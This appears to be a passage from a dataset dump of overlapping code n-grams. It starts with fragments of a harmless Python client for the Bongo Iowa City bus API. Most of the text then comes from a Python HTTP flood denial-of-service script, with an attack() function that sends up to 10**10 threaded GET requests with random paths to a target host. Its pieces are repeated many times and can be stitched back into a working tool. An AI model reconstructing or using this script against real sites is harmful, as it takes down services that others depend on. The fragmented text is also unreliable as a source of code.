Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if number: endpoint\",\n \"A simple Python wrapper for the Bongo Iowa City bus API. \\\"\\\"\\\" def\",\n \"'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self):\",\n \"specific to a given stop number. >>> Bongo().stop(8350) {\\\"stop\\\": {\\\"8350\\\": \\\"information\\\"}} \\\"\\\"\\\" if\",\n \"information on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {\\\"coralville's\\\":\",\n \"the Bongo Iowa City bus API. \\\"\\\"\\\" import requests as req class Bongo(object):\",\n \"= response.json else: data = response.content return data def route(self, tag=None, agency=None, **kwargs):\",\n \"route(self, tag=None, agency=None, **kwargs): \\\"\\\"\\\" Get information on a specific route, or all\",\n \"\\\"\\\"\\\" Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350) {\\\"stop\\\":\",\n \"def routes(self): \\\"\\\"\\\" Same as an empty call to the `route` method. >>>\",\n \"def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request to the API and\",\n \"= req.get(url, params=kwargs) return self.convert(response) def convert(self, response): \\\"\\\"\\\"Convert a request based on\",\n \"the Bongo Iowa City bus API. \\\"\\\"\\\" def __init__(self, format='json'): self.format = format\",\n \"format='json'): self.format = format def get(self, endpoint, **kwargs): \\\"\\\"\\\"Perform a HTTP GET request\",\n \"and return the data.\\\"\\\"\\\" if 'format' not in kwargs: kwargs['format'] = self.format url\",\n \"'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint,\"\n]","isConversational":false}}},{"rowIdx":1899,"cells":{"ngram":{"kind":"list like","value":["thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True)","threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num +=","Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split('","None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg","import sys import threading import time def attack(host: str, port: int = 80,","import time def attack(host: str, port: int = 80, request_count: int = 10","dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror:","socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error:","= [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for","socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except","url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET","= threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num","def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5))","thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None:","str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_()","= f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down","')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits +","generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost:","def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}]","dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except","dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site","int = 80, request_count: int = 10 ** 10) -> None: # Threading","attack(host: str, port: int = 80, request_count: int = 10 ** 10) ->","def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:","dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\"","socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host","-> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port))","/{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\")","= 80, request_count: int = 10 ** 10) -> None: # Threading support","1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters +","sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1)","= host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure","import random import socket import string import sys import threading import time def","host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you","+ string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_() ->","try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR]","data def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)","| {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip","Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status()","sys import threading import time def attack(host: str, port: int = 80, request_count:","str, port: int = 80, request_count: int = 10 ** 10) -> None:","Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\",","function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}]","\"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a correct","= str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def","80, request_count: int = 10 ** 10) -> None: # Threading support thread_num","may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\",","sure you entered a correct website!\") sys.exit(2) all_threads = [] for i in","[] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread","{host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR)","** 10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock()","thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg =","+= 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters","except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try:","attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip,","website!\") sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start()","thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path():","return data def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET,","# Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1","progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data =","int = 10 ** 10) -> None: # Threading support thread_num = 0","be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\",","print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2) all_threads = [] for","{socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip =","down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\")","socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2) all_threads","global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def","i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads:","socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2) all_threads = []","ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\")","10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex =","-> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility","in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads: current_thread.join()","msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be","10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() #","socket import string import sys import threading import time def attack(host: str, port:","Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data","you entered a correct website!\") sys.exit(2) all_threads = [] for i in range(request_count):","threading import time def attack(host: str, port: int = 80, request_count: int =","print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under","host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make","a correct website!\") sys.exit(2) all_threads = [] for i in range(request_count): t1 =","\"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path = generate_url_path() dos","def attack(host: str, port: int = 80, request_count: int = 10 ** 10)","None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release()","data = \"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path =","\"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered","support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() ->","print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg =","port: int = 80, request_count: int = 10 ** 10) -> None: #","for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in","entered a correct website!\") sys.exit(2) all_threads = [] for i in range(request_count): t1","= socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2)","= \"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path = generate_url_path()","dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close()","msg = str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data","thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg,","except socket.gaierror: print(\"[ERROR] Make sure you entered a correct website!\") sys.exit(2) all_threads =","import threading import time def attack(host: str, port: int = 80, request_count: int","print(f\"[ERROR] Site may be down | {socket.error}\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host =","[{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation)","print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits","Make sure you entered a correct website!\") sys.exit(2) all_threads = [] for i","all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01)","random import socket import string import sys import threading import time def attack(host:","HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down | {socket.error}\") finally:","0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num","import socket import string import sys import threading import time def attack(host: str,","string import sys import threading import time def attack(host: str, port: int =","time def attack(host: str, port: int = 80, request_count: int = 10 **","try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR]","import string import sys import threading import time def attack(host: str, port: int","correct website!\") sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack)","request_count: int = 10 ** 10) -> None: # Threading support thread_num =","f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may be down |","= generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path}","\"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host) except socket.gaierror: print(\"[ERROR] Make sure you entered a","string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_() -> None:","= 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global","port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode()) except socket.error: print(f\"[ERROR] Site may","= socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\"GET /{url_path} HTTP/1.1\\nHost: {host}\\n\\n\" dos.send(msg.encode())","None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function","+ string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status()","5)) return data def attack_() -> None: print_status() url_path = generate_url_path() dos =","# Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def","finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\"https://\", \"\").replace(\"http://\", \"\").replace(\"www.\", \"\") ip = socket.gethostbyname(host)","string.punctuation) data = \"\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path","= 10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex","-> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\")","thread_num_mutex.acquire(True) thread_num += 1 print(f\"\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\") thread_num_mutex.release() def generate_url_path(): msg","generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = \"\".join(random.sample(msg, 5)) return"],"string":"[\n \"thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True)\",\n \"threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num +=\",\n \"Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split('\",\n \"None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg\",\n \"import sys import threading import time def attack(host: str, port: int = 80,\",\n \"import time def attack(host: str, port: int = 80, request_count: int = 10\",\n \"dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror:\",\n \"socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error:\",\n \"= [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for\",\n \"socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except\",\n \"url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET\",\n \"= threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num\",\n \"def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5))\",\n \"thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None:\",\n \"str(string.ascii_letters + string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data def attack_()\",\n \"= f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be down\",\n \"')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits +\",\n \"generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost:\",\n \"def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}]\",\n \"dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except\",\n \"dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site\",\n \"int = 80, request_count: int = 10 ** 10) -> None: # Threading\",\n \"attack(host: str, port: int = 80, request_count: int = 10 ** 10) ->\",\n \"def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try:\",\n \"dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\"\",\n \"socket.error: print(f\\\"[ERROR] Site may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host\",\n \"-> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port))\",\n \"/{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be down | {socket.error}\\\")\",\n \"= 80, request_count: int = 10 ** 10) -> None: # Threading support\",\n \"1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters +\",\n \"sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1)\",\n \"= host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure\",\n \"import random import socket import string import sys import threading import time def\",\n \"host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you\",\n \"+ string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data def attack_() ->\",\n \"try: dos.connect((ip, port)) msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR]\",\n \"data def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\",\n \"| {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip\",\n \"Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status()\",\n \"sys import threading import time def attack(host: str, port: int = 80, request_count:\",\n \"str, port: int = 80, request_count: int = 10 ** 10) -> None:\",\n \"Site may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\",\",\n \"function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}]\",\n \"\\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you entered a correct\",\n \"= str(string.ascii_letters + string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data def\",\n \"80, request_count: int = 10 ** 10) -> None: # Threading support thread_num\",\n \"may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\",\",\n \"sure you entered a correct website!\\\") sys.exit(2) all_threads = [] for i in\",\n \"[] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread\",\n \"{host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR)\",\n \"** 10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock()\",\n \"thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg =\",\n \"+= 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters\",\n \"except socket.error: print(f\\\"[ERROR] Site may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try:\",\n \"attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip,\",\n \"website!\\\") sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start()\",\n \"thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path():\",\n \"return data def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET,\",\n \"# Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1\",\n \"progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data =\",\n \"int = 10 ** 10) -> None: # Threading support thread_num = 0\",\n \"be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\",\",\n \"print(\\\"[ERROR] Make sure you entered a correct website!\\\") sys.exit(2) all_threads = [] for\",\n \"{socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip =\",\n \"down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\")\",\n \"socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you entered a correct website!\\\") sys.exit(2) all_threads\",\n \"global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def\",\n \"i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads:\",\n \"socket.gaierror: print(\\\"[ERROR] Make sure you entered a correct website!\\\") sys.exit(2) all_threads = []\",\n \"ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you entered a correct website!\\\")\",\n \"10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex =\",\n \"-> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility\",\n \"in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads: current_thread.join()\",\n \"msg = f\\\"GET /{url_path} HTTP/1.1\\\\nHost: {host}\\\\n\\\\n\\\" dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be\",\n \"10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() #\",\n \"socket import string import sys import threading import time def attack(host: str, port:\",\n \"Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data\",\n \"you entered a correct website!\\\") sys.exit(2) all_threads = [] for i in range(request_count):\",\n \"threading import time def attack(host: str, port: int = 80, request_count: int =\",\n \"print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under\",\n \"host = host.replace(\\\"https://\\\", \\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make\",\n \"a correct website!\\\") sys.exit(2) all_threads = [] for i in range(request_count): t1 =\",\n \"\\\"\\\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path = generate_url_path() dos\",\n \"def attack(host: str, port: int = 80, request_count: int = 10 ** 10)\",\n \"None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release()\",\n \"data = \\\"\\\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path =\",\n \"\\\"\\\").replace(\\\"http://\\\", \\\"\\\").replace(\\\"www.\\\", \\\"\\\") ip = socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you entered\",\n \"support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() ->\",\n \"print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg =\",\n \"port: int = 80, request_count: int = 10 ** 10) -> None: #\",\n \"for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in\",\n \"entered a correct website!\\\") sys.exit(2) all_threads = [] for i in range(request_count): t1\",\n \"= socket.gethostbyname(host) except socket.gaierror: print(\\\"[ERROR] Make sure you entered a correct website!\\\") sys.exit(2)\",\n \"= \\\"\\\".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path = generate_url_path()\",\n \"dos.send(msg.encode()) except socket.error: print(f\\\"[ERROR] Site may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close()\",\n \"msg = str(string.ascii_letters + string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg, 5)) return data\",\n \"thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = \\\"\\\".join(random.sample(msg,\",\n \"except socket.gaierror: print(\\\"[ERROR] Make sure you entered a correct website!\\\") sys.exit(2) all_threads =\",\n \"import threading import time def attack(host: str, port: int = 80, request_count: int\",\n \"print(f\\\"[ERROR] Site may be down | {socket.error}\\\") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host =\",\n \"[{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation)\",\n \"print(f\\\"\\\\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...\\\") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits\",\n \"Make sure you entered a correct website!\\\") sys.exit(2) all_threads = [] for i\",\n \"all_threads = 